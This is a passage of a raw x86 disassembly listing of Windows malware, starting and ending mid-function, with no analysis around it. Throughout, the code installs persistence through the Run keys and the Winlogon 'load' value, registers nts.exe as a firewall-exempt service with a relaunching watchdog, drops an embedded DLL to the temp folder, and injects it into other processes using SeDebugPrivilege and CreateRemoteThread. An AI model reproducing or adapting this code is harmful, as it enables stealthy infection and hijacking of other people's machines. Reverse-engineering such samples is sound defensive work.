add esp, 10h
loc_4056AD: ; CODE XREF: sub_4055DB+2Ej
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4055DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4056B3 proc near ; CODE XREF: sub_405774+82p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_407730
push ebx
push esi
push dword_4128A4
push offset aLoad ; "load"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_405496
add esp, 10h
test eax, eax
jnz loc_40576E
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aLoad ; "load"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_4053DF
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_405717
mov [ebp+var_2000], 0
loc_405717: ; CODE XREF: sub_4056B3+5Bj
cmp [ebp+var_2000], 0
jz short loc_40573C
lea esi, [ebp+var_2000]
jmp short loc_405729
; ---------------------------------------------------------------------------
loc_405728: ; CODE XREF: sub_4056B3+79j
inc esi
loc_405729: ; CODE XREF: sub_4056B3+73j
cmp byte ptr [esi], 0
jnz short loc_405728
dec esi
cmp byte ptr [esi], 2Ch
jz short loc_40573C
inc esi
mov byte ptr [esi], 2Ch
inc esi
mov byte ptr [esi], 0
loc_40573C: ; CODE XREF: sub_4056B3+6Bj
; sub_4056B3+7Fj
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_407690
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aLoad ; "load"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_405338
add esp, 10h
loc_40576E: ; CODE XREF: sub_4056B3+2Ej
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4056B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405774 proc near ; CODE XREF: sub_4066F1+557p
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_407730
push 1
push offset asc_40E6FF ; "*"
push [ebp+arg_0]
lea eax, [ebp+var_2000]
push eax
call sub_4054E8
add esp, 10h
push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
call nullsub_2
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aNetworkTransla ; "Network Translation Service"
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call sub_405338
add esp, 10h
push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
call nullsub_2
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aNetworkTransla ; "Network Translation Service"
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call sub_405338
add esp, 10h
call sub_405545
call sub_4055DB
call sub_4056B3
mov esp, ebp
pop ebp
retn
sub_405774 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4057FF proc near ; CODE XREF: sub_4066F1+236p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_407730
mov [ebp+var_2000], 0
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_407690
pop ecx
pop ecx
push offset aEnabled ; ":*:Enabled:"
lea eax, [ebp+var_2000]
push eax
call sub_407690
pop ecx
pop ecx
push offset aNts ; "NTS"
lea eax, [ebp+var_2000]
push eax
call sub_407690
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push dword_4128A4
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_405338
add esp, 10h
mov esp, ebp
pop ebp
retn
sub_4057FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_405870 proc near ; CODE XREF: DMN0:00405A8Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push 14h
push 40h
call dword_411CE0 ; LocalAlloc
mov [ebp+var_10], eax
push 1
push [ebp+var_10]
call dword_411E38 ; InitializeSecurityDescriptor
push 0
push 0
push 1
push [ebp+var_10]
call dword_411E3C ; SetSecurityDescriptorDacl
mov [ebp+var_C], 0Ch
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov [ebp+var_4], 1
push offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}"
push 0
push 0
lea eax, [ebp+var_C]
push eax
call dword_411D40 ; CreateEventA
mov ebx, eax
test ebx, ebx
jz short loc_4058DA
push offset aEventCreated_ ; "EVENT CREATED.\n"
call sub_407260
pop ecx
jmp short loc_4058ED
; ---------------------------------------------------------------------------
loc_4058DA: ; CODE XREF: sub_405870+5Bj
call dword_411CE8 ; RtlGetLastWin32Error
push eax
push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n"
call sub_407260
pop ecx
pop ecx
loc_4058ED: ; CODE XREF: sub_405870+68j
push 0
push 0
push offset sub_405BE3
call sub_407910
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
push 0
push 0
push offset sub_406677
call sub_407910
add esp, 0Ch
mov esi, eax
loc_405918: ; CODE XREF: sub_405870:loc_405967j
test ebx, ebx
jz short loc_405952
push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
call sub_407260
pop ecx
mov [ebp+var_18], esi
mov [ebp+var_14], ebx
push 0FFFFFFFFh
push 0
lea eax, [ebp+var_18]
push eax
push 2
call dword_411D48 ; WaitForMultipleObjects
mov edi, eax
test edi, edi
jz short loc_405948
cmp edi, 1
jnz short loc_405967
loc_405948: ; CODE XREF: sub_405870+D1j
push 1
call sub_4079E0
pop ecx
jmp short loc_405967
; ---------------------------------------------------------------------------
loc_405952: ; CODE XREF: sub_405870+AAj
push 0FFFFFFFFh
push esi
call dword_411D34 ; WaitForSingleObject
test eax, eax
jnz short loc_405967
push 1
call sub_4079E0
pop ecx
loc_405967: ; CODE XREF: sub_405870+D6j
; sub_405870+E0j ...
jmp short loc_405918
sub_405870 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_405970: ; DATA XREF: DMN0:004059E6o
; DMN1:00446967o
mov eax, [esp+4]
cmp eax, 3
jz short loc_405985
cmp eax, 4
jz short loc_4059A2
cmp eax, 5
jz short loc_4059B5
jmp short locret_4059D8
; ---------------------------------------------------------------------------
loc_405985: ; CODE XREF: DMN0:00405977j
mov dword_41293C, 4
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
jmp short locret_4059D8
; ---------------------------------------------------------------------------
loc_4059A2: ; CODE XREF: DMN0:0040597Cj
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
jmp short locret_4059D8
; ---------------------------------------------------------------------------
loc_4059B5: ; CODE XREF: DMN0:00405981j
mov dword_41293C, 1
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
push 1
call sub_4079E0
pop ecx
locret_4059D8: ; CODE XREF: DMN0:00405983j
; DMN0:004059A0j ...
retn 4
; ---------------------------------------------------------------------------
loc_4059DB: ; DATA XREF: sub_405AC9+18o
; sub_446A4A+18o
push offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
call sub_407260
pop ecx
push offset loc_405970
push off_412958
call dword_411E70 ; RegisterServiceCtrlHandlerA
mov dword_412954, eax
cmp dword_412954, 0
jz loc_405ABB
push 1
push offset dword_411044
call dword_411D04 ; InterlockedExchange
push 1Ch
push 0
push offset dword_412938
call sub_4075D0
add esp, 0Ch
mov dword_412938, 110h
mov dword_41293C, 2
and dword_412940, 0
mov dword_412950, 9C4h
push offset aSetservicestat ; "SetServiceStatus(): start pending\n"
call sub_407260
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
mov dword_41293C, 4
push offset aSetservicest_0 ; "SetServiceStatus(): running\n"
call sub_407260
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
call sub_405870
; ---------------------------------------------------------------------------
mov dword_41293C, 1
push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
call sub_407260
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C ; SetServiceStatus
jmp short locret_405AC6
; ---------------------------------------------------------------------------
loc_405ABB: ; CODE XREF: DMN0:00405A03j
push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
call sub_407260
pop ecx
locret_405AC6: ; CODE XREF: DMN0:00405AB9j
retn 8
; =============== S U B R O U T I N E =======================================
sub_405AC9 proc near ; CODE XREF: DMN0:00405B0Fp
; sub_4066F1+532p
push ebx
call sub_40410E
test eax, eax
jz short loc_405AD7
xor eax, eax
jmp short loc_405B0D
; ---------------------------------------------------------------------------
loc_405AD7: ; CODE XREF: sub_405AC9+8j
mov eax, off_412958
mov dword_41295C, eax
mov dword_412960, offset loc_4059DB
and dword_412964, 0
and dword_412968, 0
push offset dword_41295C
call dword_411E74 ; StartServiceCtrlDispatcherA
mov ebx, eax
call sub_404162
mov eax, ebx
loc_405B0D: ; CODE XREF: sub_405AC9+Cj
pop ebx
retn
sub_405AC9 endp
; ---------------------------------------------------------------------------
call sub_405AC9
call sub_4079A0
retn
; ---------------------------------------------------------------------------
call sub_404E56
mov dword_411040, eax
call sub_4079A0
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B2A proc near ; CODE XREF: sub_405BE3+64p
; sub_4066F1+1F7p
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 854h
push 44h
push 0
lea eax, [ebp+var_44]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_44], 44h
push offset asc_40EDC7 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_407670
pop ecx
pop ecx
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
lea eax, [ebp+var_844]
push eax
call sub_407690
pop ecx
pop ecx
push offset asc_40E5AD ; "\" "
lea eax, [ebp+var_844]
push eax
call sub_407690
pop ecx
pop ecx
cmp [ebp+arg_0], 0
jz short loc_405B9A
push [ebp+arg_0]
lea eax, [ebp+var_844]
push eax
call sub_407690
pop ecx
pop ecx
loc_405B9A: ; CODE XREF: sub_405B2A+5Dj
lea eax, [ebp+var_854]
push eax
lea eax, [ebp+var_44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_844]
push eax
push 0
call dword_411D10 ; CreateProcessA
test eax, eax
jz short loc_405BDF
push [ebp+var_850]
call dword_411CF8 ; CloseHandle
push [ebp+var_854]
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
loc_405BDF: ; CODE XREF: sub_405B2A+98j
mov esp, ebp
pop ebp
retn
sub_405B2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_405BE3 proc near ; DATA XREF: sub_405870+81o
; sub_4467F1+81o
push ebx
push esi
push offset aServicefixerth ; "ServiceFixerThread started.\n"
call nullsub_2
pop ecx
loc_405BF0: ; CODE XREF: sub_405BE3:loc_405C78j
xor ebx, ebx
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
call dword_411D4C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_405C6D
call sub_404CB8
test eax, eax
jz short loc_405C2C
call sub_4050B1
test eax, eax
jnz short loc_405C1B
call sub_405187
loc_405C1B: ; CODE XREF: sub_405BE3+31j
call sub_404E08
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_405C39
xor ebx, ebx
inc ebx
jmp short loc_405C39
; ---------------------------------------------------------------------------
loc_405C2C: ; CODE XREF: sub_405BE3+28j
call sub_404F2A
cmp eax, 0FFFFFFFFh
jnz short loc_405C39
xor ebx, ebx
inc ebx
loc_405C39: ; CODE XREF: sub_405BE3+42j
; sub_405BE3+47j ...
test ebx, ebx
jz short loc_405C60
call sub_404162
push offset asc_40E58D ; "**"
call sub_405B2A
pop ecx
test eax, eax
jz short loc_405C59
push 0
call sub_4079E0
pop ecx
loc_405C59: ; CODE XREF: sub_405BE3+6Cj
call sub_40410E
jmp short loc_405C78
; ---------------------------------------------------------------------------
loc_405C60: ; CODE XREF: sub_405BE3+58j
push 1F4h
call dword_411D00 ; Sleep
jmp short loc_405C78
; ---------------------------------------------------------------------------
loc_405C6D: ; CODE XREF: sub_405BE3+1Fj
push 2710h
call dword_411D00 ; Sleep
loc_405C78: ; CODE XREF: sub_405BE3+7Bj
; sub_405BE3+88j
jmp loc_405BF0
sub_405BE3 endp
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C80 proc near ; DATA XREF: sub_405CF6+76o
; DMN1:00446CEDo
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
mov eax, [ebp+arg_0]
mov esi, eax
push dword_41296C
call dword_411D50 ; ResetEvent
loc_405C97: ; CODE XREF: sub_405C80+4Bj
mov [ebp+var_1], 0
push 1
lea eax, [ebp+var_1]
push eax
push esi
call sub_4016DC
add esp, 0Ch
mov ebx, eax
test ebx, ebx
jle short loc_405CCD
cmp [ebp+var_1], 2Ah
jnz short loc_405CCD
push 1
lea eax, [ebp+var_1]
push eax
push esi
call sub_401787
add esp, 0Ch
mov ebx, eax
test ebx, ebx
jle short loc_405CCD
jmp short loc_405C97
; ---------------------------------------------------------------------------
loc_405CCD: ; CODE XREF: sub_405C80+2Ej
; sub_405C80+34j ...
push esi
call sub_4014C2
pop ecx
push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
call nullsub_2
pop ecx
push dword_41296C
call dword_411D44 ; SetEvent
call sub_4079A0
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_405C80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405CF6 proc near ; DATA XREF: sub_406422+11o
; sub_4473A3+11o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
call sub_401359
mov dword_41104C, eax
push offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
call nullsub_2
pop ecx
push 15B7h
push 100007Fh
push dword_41104C
call sub_4015B7
add esp, 0Ch
test eax, eax
jz short loc_405D96
push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
call nullsub_2
pop ecx
push dword_41104C
call sub_401607
pop ecx
test eax, eax
jz short loc_405D96
push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
call nullsub_2
pop ecx
push dword_41104C
call sub_401621
pop ecx
mov [ebp+var_4], eax
test eax, eax
jz short loc_405D96
mov eax, [ebp+var_4]
push eax
push 0
push offset sub_405C80
call sub_407910
add esp, 0Ch
mov [ebp+var_8], eax
push eax
call dword_411CF8 ; CloseHandle
push dword_41104C
call sub_4014C2
pop ecx
and dword_41104C, 0
loc_405D96: ; CODE XREF: sub_405CF6+35j
; sub_405CF6+50j ...
cmp dword_41104C, 0
jz short loc_405DAB
push dword_41104C
call sub_4014C2
pop ecx
loc_405DAB: ; CODE XREF: sub_405CF6+A7j
push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
call nullsub_2
pop ecx
call sub_4079A0
mov esp, ebp
pop ebp
retn
sub_405CF6 endp
; =============== S U B R O U T I N E =======================================
sub_405DBF proc near ; CODE XREF: sub_40637D+14p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [ebx]
jmp short loc_405DD1
; ---------------------------------------------------------------------------
loc_405DC9: ; CODE XREF: sub_405DBF+14j
call dword_411CC4 ; GetTickCount
mov esi, eax
loc_405DD1: ; CODE XREF: sub_405DBF+8j
test esi, esi
jz short loc_405DC9
mov eax, esi
mov edx, 41C64E6Dh
mul edx
lea esi, [eax+3039h]
mov [ebx], esi
mov eax, esi
shr eax, 10h
and eax, 7FFFh
pop esi
pop ebx
retn
sub_405DBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405DF3 proc near ; CODE XREF: sub_405EFE+9Ep
; sub_405EFE+109p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp dword_411054, 0
jz short loc_405E1B
push dword_411054
call dword_411CF8 ; CloseHandle
and dword_411054, 0
loc_405E1B: ; CODE XREF: sub_405DF3+13j
push 0Ah
push offset a8001 ; "#8001"
push 0
call dword_411D54 ; FindResourceA
mov esi, eax
test eax, eax
jz loc_405EF7
push esi
push 0
call dword_411D58 ; SizeofResource
mov [ebp+var_4], eax
push [ebp+var_4]
push offset aResourceHereSi ; "resource here, size: %i\n"
call nullsub_2
pop ecx
pop ecx
push esi
push 0
call dword_411D5C ; LoadResource
mov [ebp+var_8], eax
test eax, eax
jz loc_405EF7
push [ebp+var_8]
call dword_411D60 ; LockResource
mov [ebp+var_C], eax
test eax, eax
jz loc_405EF7
push 80h
push ebx
call dword_411D28 ; SetFileAttributesA
push offset aWb ; "wb+"
push ebx
call sub_407300
pop ecx
pop ecx
mov edi, eax
test edi, edi
jnz short loc_405EA7
push ebx
push offset aFileSNotCreate ; "file <%s> NOT created\n"
call nullsub_2
pop ecx
pop ecx
xor eax, eax
jmp short loc_405EF7
; ---------------------------------------------------------------------------
loc_405EA7: ; CODE XREF: sub_405DF3+A1j
push ebx
push offset aFileSCreated ; "file <%s> created\n"
call nullsub_2
pop ecx
pop ecx
push edi
push 1
mov eax, [ebp+var_4]
push eax
push [ebp+var_C]
call sub_407760
add esp, 10h
mov [ebp+var_10], eax
push edi
call sub_407560
pop ecx
push [ebp+var_10]
push ebx
push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
call nullsub_2
add esp, 0Ch
push 7
push ebx
call dword_411D28 ; SetFileAttributesA
cmp [ebp+var_10], 1
jz short loc_405EF4
xor eax, eax
jmp short loc_405EF7
; ---------------------------------------------------------------------------
loc_405EF4: ; CODE XREF: sub_405DF3+FBj
xor eax, eax
inc eax
loc_405EF7: ; CODE XREF: sub_405DF3+3Bj
; sub_405DF3+6Aj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_405DF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405EFE proc near ; CODE XREF: sub_406485:loc_406551p
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
push ebp
mov ebp, esp
mov eax, 1004h
call sub_407730
cmp dword_411050, 0
jz short loc_405F54
push offset aR ; "r"
push offset dword_412970
call sub_407300
pop ecx
pop ecx
mov [ebp+var_1004], eax
test eax, eax
jz short loc_405F54
push offset dword_412970
push offset aOldDllS ; "old DLL: <%s>\n"
call nullsub_2
pop ecx
pop ecx
push [ebp+var_1004]
call sub_407560
pop ecx
xor eax, eax
inc eax
jmp loc_40603E
; ---------------------------------------------------------------------------
loc_405F54: ; CODE XREF: sub_405EFE+14j
; sub_405EFE+2Fj
push offset dword_412970
push 0FFFh
call dword_411D1C ; GetTempPathA
push offset aNts_ ; "nts_"
push offset dword_412970
call sub_407690
pop ecx
pop ecx
push offset a000_tmp ; "000.tmp"
push offset dword_412970
call sub_407690
pop ecx
pop ecx
push offset dword_412970
push offset aCheckingDllS ; "checking DLL: <%s>\n"
call nullsub_2
pop ecx
pop ecx
push offset dword_412970
call sub_405DF3
pop ecx
test eax, eax
jz short loc_405FC6
push offset dword_412970
push offset aDllFoundS ; " DLL found: <%s>\n"
call nullsub_2
pop ecx
pop ecx
mov dword_411050, 1
xor eax, eax
inc eax
jmp short loc_40603E
; ---------------------------------------------------------------------------
loc_405FC6: ; CODE XREF: sub_405EFE+A6j
lea eax, [ebp+var_1000]
push eax
push 0FFFh
call dword_411D1C ; GetTempPathA
push offset dword_412970
push 0
push offset aNts_ ; "nts_"
lea eax, [ebp+var_1000]
push eax
call dword_411D20 ; GetTempFileNameA
push offset dword_412970
push offset aTryingDllS ; "trying DLL: <%s>\n"
call nullsub_2
pop ecx
pop ecx
push offset dword_412970
call sub_405DF3
pop ecx
test eax, eax
jz short loc_406031
push offset dword_412970
push offset aDllOkS ; "DLL ok: <%s>\n"
call nullsub_2
pop ecx
pop ecx
mov dword_411050, 1
xor eax, eax
inc eax
jmp short loc_40603E
; ---------------------------------------------------------------------------
loc_406031: ; CODE XREF: sub_405EFE+111j
push offset aDllNotExtracte ; "DLL not extracted.\n"
call nullsub_2
pop ecx
xor eax, eax
loc_40603E: ; CODE XREF: sub_405EFE+51j
; sub_405EFE+C6j ...
mov esp, ebp
pop ebp
retn
sub_405EFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406042 proc near ; CODE XREF: sub_4061E6+6p
; sub_4062AE+12p ...
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_1C]
push eax
push offset aSedebugprivile ; "SeDebugPrivilege"
push 0
call dword_411E78 ; LookupPrivilegeValueA
test eax, eax
jz short loc_4060B8
call dword_411D64 ; GetCurrentProcess
lea edx, [ebp+var_14]
push edx
push 28h
push eax
call dword_411E7C ; OpenProcessToken
test eax, eax
jz short loc_4060B8
mov [ebp+var_10], 1
mov eax, [ebp+var_1C]
mov edx, [ebp+var_18]
mov [ebp+var_C], eax
mov [ebp+var_8], edx
mov [ebp+var_4], 2
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
push 10h
lea eax, [ebp+var_10]
push eax
push 0
push [ebp+var_14]
call dword_411E80 ; AdjustTokenPrivileges
call dword_411CE8 ; RtlGetLastWin32Error
test eax, eax
jz short loc_4060B5
xor eax, eax
jmp short loc_4060B8
; ---------------------------------------------------------------------------
loc_4060B5: ; CODE XREF: sub_406042+6Dj
xor eax, eax
inc eax
loc_4060B8: ; CODE XREF: sub_406042+19j
; sub_406042+30j ...
mov esp, ebp
pop ebp
retn
sub_406042 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4060BC proc near ; CODE XREF: sub_4061E6+34p
var_1008 = byte ptr -1008h
var_1004 = byte ptr -1004h
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1008h
call sub_407730
push ebx
push esi
push edi
push 40h
push 1000h
push 1000h
push 0
push [ebp+arg_0]
call dword_411D68 ; VirtualAllocEx
mov esi, eax
test eax, eax
jz loc_4061DF
push offset aVirtualallocex ; "VirtualAllocEx() ok\n"
call nullsub_2
pop ecx
lea ebx, [ebp+var_1000]
mov byte ptr [ebx], 68h
inc ebx
mov eax, esi
add eax, 50h
mov [ebx], eax
add ebx, 4
mov word ptr [ebx], 15FFh
add ebx, 2
mov eax, esi
add eax, 40h
mov [ebx], eax
add ebx, 4
mov byte ptr [ebx], 50h
inc ebx
mov word ptr [ebx], 15FFh
add ebx, 2
mov eax, esi
add eax, 44h
mov [ebx], eax
push offset aKernel32_dll ; "kernel32.dll"
call dword_411D6C ; GetModuleHandleA
mov edi, eax
lea ebx, [ebp+var_1000]
add ebx, 40h
push offset aLoadlibrarya ; "LoadLibraryA"
push edi
call dword_411D70 ; GetProcAddress
mov [ebx], eax
add ebx, 4
push offset aExitthread ; "ExitThread"
push edi
call dword_411D70 ; GetProcAddress
mov [ebx], eax
add ebx, 4
push offset aGetlasterror ; "GetLastError"
push edi
call dword_411D70 ; GetProcAddress
mov [ebx], eax
lea ebx, [ebp+var_1000]
add ebx, 50h
push [ebp+arg_4]
push ebx
call sub_407670
pop ecx
pop ecx
lea eax, [ebp+var_1004]
push eax
push 1000h
lea eax, [ebp+var_1000]
push eax
push esi
push [ebp+arg_0]
call dword_411D74 ; WriteProcessMemory
test eax, eax
jz short loc_4061DF
push offset aWriteprocessme ; "WriteProcessMemory() ok\n"
call nullsub_2
pop ecx
push [ebp+arg_4]
push offset aS ; "<%s>\n"
call nullsub_2
pop ecx
pop ecx
lea eax, [ebp+var_1008]
push eax
push 0
push 0
push esi
push 0
push 0
push [ebp+arg_0]
call dword_411D78 ; CreateRemoteThread
loc_4061DF: ; CODE XREF: sub_4060BC+2Bj
; sub_4060BC+EEj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4060BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4061E6 proc near ; CODE XREF: sub_4062AE+6Fp
; sub_40637D+5Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
call sub_406042
push [ebp+arg_0]
push 0
push 1F0FFFh
call dword_411D7C ; OpenProcess
mov ebx, eax
push offset aProcessOpened_ ; "process opened.\n"
call nullsub_2
pop ecx
test ebx, ebx
jz loc_4062A6
push [ebp+arg_4]
push ebx
call sub_4060BC
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_40629F
push esi
push offset aThreadInjected ; "thread injected (%i).\n"
call nullsub_2
pop ecx
pop ecx
push 0FFFFFFFFh
push esi
call dword_411D34 ; WaitForSingleObject
lea eax, [ebp+var_4]
push eax
push esi
call dword_411D80 ; GetExitCodeThread
push [ebp+var_4]
push offset aThreadComplete ; "thread complete (%i).\n"
call nullsub_2
pop ecx
pop ecx
push esi
call dword_411CF8 ; CloseHandle
push ebx
call dword_411CF8 ; CloseHandle
cmp [ebp+var_4], 20h
jnb short loc_40626F
xor eax, eax
jmp short loc_4062A8
; ---------------------------------------------------------------------------
loc_40626F: ; CODE XREF: sub_4061E6+83j
push [ebp+arg_4]
push offset aDllInjected ; "DLL injected!\n"
call nullsub_2
pop ecx
pop ecx
cmp dword_411054, 0
jz short loc_40629A
push dword_411054
call dword_411CF8 ; CloseHandle
and dword_411054, 0
loc_40629A: ; CODE XREF: sub_4061E6+9Fj
xor eax, eax
inc eax
jmp short loc_4062A8
; ---------------------------------------------------------------------------
loc_40629F: ; CODE XREF: sub_4061E6+3Fj
push ebx
call dword_411CF8 ; CloseHandle
loc_4062A6: ; CODE XREF: sub_4061E6+2Aj
xor eax, eax
loc_4062A8: ; CODE XREF: sub_4061E6+87j
; sub_4061E6+B7j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4061E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4062AE proc near ; CODE XREF: sub_406485+E6p
var_128 = dword ptr -128h
var_120 = dword ptr -120h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
call sub_406042
push 0
push 2
call sub_406C9C ; CreateToolhelp32Snapshot
mov edi, eax
test eax, eax
jz loc_406376
mov [ebp+var_128], 128h
lea eax, [ebp+var_128]
push eax
push edi
call sub_406CA2 ; Process32First
loc_4062EF: ; CODE XREF: sub_4062AE+BDj
lea eax, [ebp+var_104]
push eax
push ebx
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_40635C
push esi
lea eax, [ebp+var_104]
push eax
push offset aTryingSWithS ; "trying <%s> with <%s>\n"
call nullsub_2
add esp, 0Ch
push esi
push [ebp+var_120]
call sub_4061E6
pop ecx
pop ecx
test eax, eax
jz short loc_406347
lea eax, [ebp+var_104]
push eax
push offset aS ; "<%s>\n"
call nullsub_2
pop ecx
pop ecx
push edi
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
jmp short loc_406376
; ---------------------------------------------------------------------------
loc_406347: ; CODE XREF: sub_4062AE+78j
push esi
lea eax, [ebp+var_104]
push eax
push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n"
call nullsub_2
add esp, 0Ch
loc_40635C: ; CODE XREF: sub_4062AE+51j
lea eax, [ebp+var_128]
push eax
push edi
call sub_406CA8 ; Process32Next
test eax, eax
jnz short loc_4062EF
push edi
call dword_411CF8 ; CloseHandle
xor eax, eax
loc_406376: ; CODE XREF: sub_4062AE+24j
; sub_4062AE+97j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4062AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40637D proc near ; CODE XREF: sub_406485+FBp
var_128 = dword ptr -128h
var_120 = dword ptr -120h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push offset dword_411058
call sub_405DBF
pop ecx
mov ecx, 100h
cdq
idiv ecx
lea esi, [edx+1]
call sub_406042
jmp short loc_406415
; ---------------------------------------------------------------------------
loc_4063A9: ; CODE XREF: sub_40637D+9Aj
push 0
push 2
call sub_406C9C ; CreateToolhelp32Snapshot
mov edi, eax
test eax, eax
jz short loc_40641B
mov [ebp+var_128], 128h
lea eax, [ebp+var_128]
push eax
push edi
call sub_406CA2 ; Process32First
loc_4063CF: ; CODE XREF: sub_40637D+8Fj
dec esi
test esi, esi
jnz short loc_4063FD
push ebx
push [ebp+var_120]
call sub_4061E6
pop ecx
pop ecx
test eax, eax
